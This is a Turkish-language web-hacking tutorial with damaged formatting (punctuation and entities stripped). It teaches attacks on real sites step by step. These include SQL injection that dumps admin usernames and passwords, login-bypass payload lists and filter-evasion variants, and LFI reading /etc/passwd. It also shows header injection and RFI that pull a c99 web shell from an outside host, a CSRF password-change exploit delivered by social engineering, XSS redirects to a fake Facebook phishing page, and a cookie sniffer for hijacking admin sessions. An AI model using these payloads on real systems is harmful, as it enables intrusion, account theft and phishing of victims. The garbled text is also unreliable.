wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 10: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

